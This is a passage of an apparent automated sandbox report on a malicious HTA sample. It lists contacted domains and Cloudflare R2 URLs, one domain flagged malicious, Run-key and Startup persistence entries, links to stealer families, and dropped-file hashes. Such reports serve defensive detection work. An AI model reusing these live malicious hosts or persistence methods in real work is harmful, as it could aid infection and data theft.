                                                                                                                                    		high
                                                                                                                                    http://relaxng.org/ns/structure/1.0Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpfalse
                                                                                                                                    • Avira URL Cloud: safe
                                                                                                                                    		unknown
                                                                                                                                    http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimizedsecond.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      http://www.vmware.com/specifications/vmdk.html#sparsesecond.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        https://pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.devpowershell.exe, 00000001.00000002.1961025380.0000000004499000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                        • Avira URL Cloud: safe
                                                                                                                                        		unknown
                                                                                                                                        http://www.surfok.de/cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          http://www.softwareok.compyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                            		high
                                                                                                                                            http://www.vmware.com/specifications/vmdk.html#sparsehttp://www.vmware.com/interfaces/specificationssecond.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpfalse
                                                                                                                                              		high

                                                                                                                                              World Map of Contacted IPs

                                                                                                                                              • No. of IPs < 25%
                                                                                                                                              • 25% < No. of IPs < 50%
                                                                                                                                              • 50% < No. of IPs < 75%
                                                                                                                                              • 75% < No. of IPs

                                                                                                                                              Public IPs

                                                                                                                                              IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                              162.159.140.237
                                                                                                                                              		pub-c5a18eb76e034d88899e1f44f859a849.r2.devUnited States
                                                                                                                                              		13335CLOUDFLARENETUSfalse
                                                                                                                                              104.21.72.125
                                                                                                                                              		lomejorerty6.siteUnited States
                                                                                                                                              		13335CLOUDFLARENETUStrue
                                                                                                                                              172.66.0.235
                                                                                                                                              		pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.devUnited States
                                                                                                                                              		13335CLOUDFLARENETUSfalse

                                                                                                                                              Private

                                                                                                                                              IP
                                                                                                                                              127.0.0.1

                                                                                                                                              General Information

                                                                                                                                              Joe Sandbox version:41.0.0 Charoite
                                                                                                                                              Analysis ID:1570651
                                                                                                                                              Start date and time:2024-12-07 15:42:17 +01:00
                                                                                                                                              Joe Sandbox product:CloudBasic
                                                                                                                                              Overall analysis duration:0h 10m 8s
                                                                                                                                              Hypervisor based Inspection enabled:false
                                                                                                                                              Report type:full
                                                                                                                                              Cookbook file name:default.jbs
                                                                                                                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                              Number of analysed new started processes analysed:30
                                                                                                                                              Number of new started drivers analysed:0
                                                                                                                                              Number of existing processes analysed:0
                                                                                                                                              Number of existing drivers analysed:0
                                                                                                                                              Number of injected processes analysed:1
                                                                                                                                              Technologies:
                                                                                                                                              • HCA enabled
                                                                                                                                              • EGA enabled
                                                                                                                                              • AMSI enabled
                                                                                                                                              Analysis Mode:default
                                                                                                                                              Analysis stop reason:Timeout
                                                                                                                                              Sample name:upgrade.hta
                                                                                                                                              Detection:MAL
                                                                                                                                              Classification:mal100.troj.spyw.expl.evad.winHTA@39/44@3/4
                                                                                                                                              EGA Information:
                                                                                                                                              • Successful, ratio: 75%
                                                                                                                                              HCA Information:
                                                                                                                                              • Successful, ratio: 98%
                                                                                                                                              • Number of executed functions: 92
                                                                                                                                              • Number of non-executed functions: 324
                                                                                                                                              Cookbook Comments:
                                                                                                                                              • Found application associated with file extension: .hta

                                                                                                                                              Warnings

                                                                                                                                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, consent.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                                                                                                                                              • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                              • Execution Graph export aborted for target powershell.exe, PID 6532 because it is empty
                                                                                                                                              • Not all processes where analyzed, report is missing behavior information
                                                                                                                                              • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                              • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                              • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                              • Report size getting too big, too many NtOpenFile calls found.
                                                                                                                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                              • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                              • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                                                                                              • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                              • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                              • VT rate limit hit for: upgrade.hta

                                                                                                                                              Simulations

                                                                                                                                              Behavior and APIs

                                                                                                                                              TimeTypeDescription
                                                                                                                                              09:43:10API Interceptor83x Sleep call for process: powershell.exe modified
                                                                                                                                              09:43:47API Interceptor2x Sleep call for process: svchost.exe modified
                                                                                                                                              09:44:14API Interceptor12x Sleep call for process: BQE_Fast.exe modified
                                                                                                                                              09:44:16API Interceptor2x Sleep call for process: cmd.exe modified
                                                                                                                                              14:43:02Task SchedulerRun new task: {BE4C3B4F-296D-40E0-BE33-AAE07E3782D5} path:
                                                                                                                                              14:43:25AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run hzQtnaa C:\Users\user\AppData\Roaming\KNVYINNN.exe
                                                                                                                                              14:43:34AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run hzQtnaa C:\Users\user\AppData\Roaming\KNVYINNN.exe
                                                                                                                                              14:43:58AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ONOracle_test.lnk

                                                                                                                                              Joe Sandbox View / Context

                                                                                                                                              IPs

                                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                              162.159.140.237http://pub-04836febb1fc46fca4a8c225ef7d2a38.r2.dev/tantindex.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                              • pub-04836febb1fc46fca4a8c225ef7d2a38.r2.dev/tantindex.html
                                                                                                                                              http://pub-17d7828daac64fc3a83940a40d8b01d8.r2.dev/qwertyuiopBowa.htmlGet hashmaliciousOutlook Phishing, HTMLPhisherBrowse
                                                                                                                                              • pub-17d7828daac64fc3a83940a40d8b01d8.r2.dev/qwertyuiopBowa.html
                                                                                                                                              http://pub-6abf9f4f2e414af1a92f1d0cac9c1674.r2.dev/auth_gen.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                              • pub-6abf9f4f2e414af1a92f1d0cac9c1674.r2.dev/auth_gen.html
                                                                                                                                              http://pub-2801359d2be54bfd8701132626efeb73.r2.dev/owoed.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                              • pub-2801359d2be54bfd8701132626efeb73.r2.dev/owoed.html
                                                                                                                                              http://pub-e1e4d0b4665d4d8996bf04516d898fb2.r2.dev/ddhjkindex.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                              • pub-e1e4d0b4665d4d8996bf04516d898fb2.r2.dev/ddhjkindex.html
                                                                                                                                              http://pub-a81aa4bbf83846b8a892985d5bbc3a6f.r2.dev/pppindex.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                              • pub-a81aa4bbf83846b8a892985d5bbc3a6f.r2.dev/pppindex.html
                                                                                                                                              http://pub-21beea42d44e4f0e83b5336b9ac3900a.r2.dev/woosf.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                              • pub-21beea42d44e4f0e83b5336b9ac3900a.r2.dev/woosf.html
                                                                                                                                              http://pub-581e9045502e43b8be4eb091f4c349ff.r2.dev/index.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                              • pub-581e9045502e43b8be4eb091f4c349ff.r2.dev/index.html
                                                                                                                                              http://pub-2f611d096e8f43daa9347ca0cf8d9e84.r2.dev/index.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                              • pub-2f611d096e8f43daa9347ca0cf8d9e84.r2.dev/index.html
                                                                                                                                              http://pub-3145f002774347449522e2ca2b2fbcb5.r2.dev/index.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                              • pub-3145f002774347449522e2ca2b2fbcb5.r2.dev/index.html
                                                                                                                                              104.21.72.125http://sengsipnem.web.app/yuxuba-%E6%8A%98%E3%82%8A%E7%B4%99-%E3%83%90%E3%83%83%E3%82%BF-%E6%8A%98%E3%82%8A%E6%96%B9.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                172.66.0.235http://pub-ba5a046c69974217b0431bca4ba43740.r2.dev/rep.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                • pub-ba5a046c69974217b0431bca4ba43740.r2.dev/rep.html
                                                                                                                                                http://pub-51f896deb233450089fc1a520e6ed957.r2.dev/kanehods.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                • pub-51f896deb233450089fc1a520e6ed957.r2.dev/kanehods.html
                                                                                                                                                http://pub-7d056bfeb6b04852801553620fe62c0a.r2.dev/brtw.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                • pub-7d056bfeb6b04852801553620fe62c0a.r2.dev/brtw.html
                                                                                                                                                http://pub-f3922f20d4c74ba1869fd3db906e3295.r2.dev/gsecondcheck.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                • pub-f3922f20d4c74ba1869fd3db906e3295.r2.dev/gsecondcheck.html
                                                                                                                                                http://pub-7ccd9eed2f7746f0844d3881a62a4c3f.r2.dev/blob%20(1).htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                • pub-7ccd9eed2f7746f0844d3881a62a4c3f.r2.dev/blob%20(1).html
                                                                                                                                                http://pub-da74aa96e0b9429e84033f8671051bd7.r2.dev/index.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                • pub-da74aa96e0b9429e84033f8671051bd7.r2.dev/index.html
                                                                                                                                                http://pub-b8aece6410254e0eafbd860997dcc12f.r2.dev/index.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                • pub-b8aece6410254e0eafbd860997dcc12f.r2.dev/index.html
                                                                                                                                                http://pub-a4d4b2b201fe4abc93f68d7648ccb42c.r2.dev/index.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                • pub-a4d4b2b201fe4abc93f68d7648ccb42c.r2.dev/index.html
                                                                                                                                                http://pub-0b94d4f0b06646c5bbfca320d917c04a.r2.dev/insured.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                • pub-0b94d4f0b06646c5bbfca320d917c04a.r2.dev/insured.html
                                                                                                                                                http://pub-1cedadbfd7e64635bb38bf2b96ef0c3f.r2.dev/woosb.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                • pub-1cedadbfd7e64635bb38bf2b96ef0c3f.r2.dev/woosb.html

                                                                                                                                                Domains

                                                                                                                                                ⊘No context

                                                                                                                                                ASNs

                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                CLOUDFLARENETUSIMPORTANT DOCUMENT.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                • 104.17.25.14
                                                                                                                                                IMPORTANT DOCUMENT.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                • 104.17.25.14
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 104.21.16.9
                                                                                                                                                https://curnowlaw.com/Get hashmaliciousUnknownBrowse
                                                                                                                                                • 162.159.136.45
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 104.21.16.9
                                                                                                                                                file.exeGet hashmaliciousAmadey, LummaC Stealer, Stealc, Vidar, XWormBrowse
                                                                                                                                                • 104.21.16.9
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 172.67.165.166
                                                                                                                                                malware.exeGet hashmaliciousTargeted Ransomware, TrojanRansomBrowse
                                                                                                                                                • 172.67.74.152
                                                                                                                                                jmggnxeedy.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                • 104.25.181.119
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 172.67.165.166
                                                                                                                                                CLOUDFLARENETUSIMPORTANT DOCUMENT.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                • 104.17.25.14
                                                                                                                                                IMPORTANT DOCUMENT.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                • 104.17.25.14
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 104.21.16.9
                                                                                                                                                https://curnowlaw.com/Get hashmaliciousUnknownBrowse
                                                                                                                                                • 162.159.136.45
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 104.21.16.9
                                                                                                                                                file.exeGet hashmaliciousAmadey, LummaC Stealer, Stealc, Vidar, XWormBrowse
                                                                                                                                                • 104.21.16.9
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 172.67.165.166
                                                                                                                                                malware.exeGet hashmaliciousTargeted Ransomware, TrojanRansomBrowse
                                                                                                                                                • 172.67.74.152
                                                                                                                                                jmggnxeedy.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                • 104.25.181.119
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 172.67.165.166
                                                                                                                                                CLOUDFLARENETUSIMPORTANT DOCUMENT.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                • 104.17.25.14
                                                                                                                                                IMPORTANT DOCUMENT.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                • 104.17.25.14
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 104.21.16.9
                                                                                                                                                https://curnowlaw.com/Get hashmaliciousUnknownBrowse
                                                                                                                                                • 162.159.136.45
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 104.21.16.9
                                                                                                                                                file.exeGet hashmaliciousAmadey, LummaC Stealer, Stealc, Vidar, XWormBrowse
                                                                                                                                                • 104.21.16.9
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 172.67.165.166
                                                                                                                                                malware.exeGet hashmaliciousTargeted Ransomware, TrojanRansomBrowse
                                                                                                                                                • 172.67.74.152
                                                                                                                                                jmggnxeedy.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                • 104.25.181.119
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 172.67.165.166

                                                                                                                                                JA3 Fingerprints

                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                3b5074b1b5d032e5620f69f9f700ff0efile.exeGet hashmaliciousAmadey, Stealc, VidarBrowse
                                                                                                                                                • 162.159.140.237
                                                                                                                                                • 172.66.0.235
                                                                                                                                                file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                • 162.159.140.237
                                                                                                                                                • 172.66.0.235
                                                                                                                                                INQUIRY REQUEST AND PRICES_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                • 162.159.140.237
                                                                                                                                                • 172.66.0.235
                                                                                                                                                RFQ Order list #2667747.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                • 162.159.140.237
                                                                                                                                                • 172.66.0.235
                                                                                                                                                Payment Details Ref#577767.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                • 162.159.140.237
                                                                                                                                                • 172.66.0.235
                                                                                                                                                IBAN Payment confirmation.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                • 162.159.140.237
                                                                                                                                                • 172.66.0.235
                                                                                                                                                Overdue_payment.pdf.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                • 162.159.140.237
                                                                                                                                                • 172.66.0.235
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 162.159.140.237
                                                                                                                                                • 172.66.0.235
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 162.159.140.237
                                                                                                                                                • 172.66.0.235
                                                                                                                                                file.exeGet hashmaliciousAmadey, Stealc, VidarBrowse
                                                                                                                                                • 162.159.140.237
                                                                                                                                                • 172.66.0.235
                                                                                                                                                a0e9f5d64349fb13191bc781f81f42e1file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 104.21.72.125
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 104.21.72.125
                                                                                                                                                file.exeGet hashmaliciousAmadey, LummaC Stealer, Stealc, Vidar, XWormBrowse
                                                                                                                                                • 104.21.72.125
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 104.21.72.125
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 104.21.72.125
                                                                                                                                                file.exeGet hashmaliciousXWormBrowse
                                                                                                                                                • 104.21.72.125
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 104.21.72.125
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 104.21.72.125
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 104.21.72.125
                                                                                                                                                file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                • 104.21.72.125

                                                                                                                                                Dropped Files

                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                C:\Users\user\AppData\Local\Temp\BQE_Fast.exeMiJZ3z4t5K.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                  UolJwovI8c.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                    ONHQNHFT.msiGet hashmaliciousUnknownBrowse
                                                                                                                                                      es.htaGet hashmaliciousUnknownBrowse
                                                                                                                                                        BkTwXj17DH.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                          TVr2Z822J3.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                            file.exeGet hashmaliciousAmadey, LummaC Stealer, StealcBrowse
                                                                                                                                                              file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                file.exeGet hashmaliciousUnknownBrowse

                                                                                                                                                                  Created / dropped Files

                                                                                                                                                                  C:\ProgramData\Microsoft\Network\Downloader\edb.log

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):1310720
                                                                                                                                                                  Entropy (8bit):1.3301646959915188
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrA:KooCEYhgYEL0In
                                                                                                                                                                  MD5:5EFA3C30223E7D14688D47114CCB35A0
                                                                                                                                                                  SHA1:B4CE50093248E36C40A59AFC41D4F7A476757CD4
                                                                                                                                                                  SHA-256:FD512AEDD348A1CEA21444D15221B01D61EDF4838EDF0AAEF55C94FFB0219ECA
                                                                                                                                                                  SHA-512:C7F484872D0EA2B69DBADD2424468EE9F2751525989E06A68C4E9BCA439451B5537812D187ED7F265A62BB430B77697C14B5F806251799AEA83FDF2E069F7E90
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                  C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                  File Type:Extensible storage engine DataBase, version 0x620, checksum 0x58c30908, page size 16384, DirtyShutdown, Windows version 10.0
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):1310720
                                                                                                                                                                  Entropy (8bit):0.42216106364688966
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
                                                                                                                                                                  MD5:34AFC69BEE15ED7A97859C864A81384B
                                                                                                                                                                  SHA1:1E5DD9C31866EC3F529ED2C16E3546FD7F788B41
                                                                                                                                                                  SHA-256:9AA8508284D5DE02DCC96E7FD02B5B0EF5ACBFC660D06CEEAADEE195BDB71560
                                                                                                                                                                  SHA-512:8FF85B9F40180B859A95271B0B665D787DCCB7DC6B9CF53354CA2E592AC97CF0D9618ACC7C1587BD498DD6FAF305D2C4E9EEB22A8A5B44E50AD96B7C7CF43935
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:X...... .......A.......X\...;...{......................0.!..........{A./+...|}.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................75/+...|}..................-9%/+...|}..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                  C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):16384
                                                                                                                                                                  Entropy (8bit):0.07752088295003987
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:3:qSiYe9Eexjn13a/XvEK8XlollcVO/lnlZMxZNQl:qSiz9/53qfEK8eOewk
                                                                                                                                                                  MD5:C134373D1AA67780793E374333DC83C3
                                                                                                                                                                  SHA1:97F46474415A1EB6121D8F89CE03D1307DABAE8E
                                                                                                                                                                  SHA-256:BF893608401DBF6B5C04A224D31D7A4FF9E7C4DAE65B4F381117323BD9C631EC
                                                                                                                                                                  SHA-512:DFA87B53F19F8F62FFFF982CFF8E4D8DA42636D5D478601C689DBB61A5B39DB39B4D893D2D3B154283DB76460B54C78233921A3AEFB47233CCF5DC77663DDB12
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:.n.'.....................................;...{../+...|}......{A..............{A......{A..........{A].................-9%/+...|}.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):5829
                                                                                                                                                                  Entropy (8bit):4.901113710259376
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
                                                                                                                                                                  MD5:7827E04B3ECD71FB3BD7BEEE4CA52CE8
                                                                                                                                                                  SHA1:22813AF893013D1CCCACC305523301BB90FF88D9
                                                                                                                                                                  SHA-256:5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
                                                                                                                                                                  SHA-512:D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):1344
                                                                                                                                                                  Entropy (8bit):5.4250007326308385
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:24:3Qyt+1WSKco4KmBs4RPT6BmFoUebIKomjKcmZ9t7J0gt/NK3R8O9r8HNBw:Ay6WSU4y4RQmFoUeWmfmZ9tK8NWR8G6+
                                                                                                                                                                  MD5:9CB3EC18E99D4E65094C969711AC4A1E
                                                                                                                                                                  SHA1:85FE072F5633823E4EBD1311DCD6B443A032B35A
                                                                                                                                                                  SHA-256:DBDC741D19CDE0925DC487B89A09589E1A7EA75050E23A13BBC88F3C4510A4E1
                                                                                                                                                                  SHA-512:F5459FDF3D56B869EE0F3B3CF01158E3AAE051A972B32B6B31BC847BD253F492133FC405AF5FBA6C7C91425DBFC9A43B5E94E2A42A9D89D02147AFF240DA5153
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:@...e.................................^..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\BQE_Fast.exe

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):2364728
                                                                                                                                                                  Entropy (8bit):6.606009669324617
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:49152:lbCT2kOGRpfJMi3kLRQrjYgeeZyTDwMHfDYZNBi:TkOKMiY0BZMHfDYZNBi
                                                                                                                                                                  MD5:967F4470627F823F4D7981E511C9824F
                                                                                                                                                                  SHA1:416501B096DF80DDC49F4144C3832CF2CADB9CB2
                                                                                                                                                                  SHA-256:B22BF1210B5FD173A210EBFA9092390AA0513C41E1914CBE161EB547F049EF91
                                                                                                                                                                  SHA-512:8883EAD428C9D4B415046DE9F8398AA1F65AE81FE7945A840C822620E18F6F9930CCE2E10ACFF3B5DA8B9C817ADE3DABC1DE576CBD255087267F77341900A41C
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
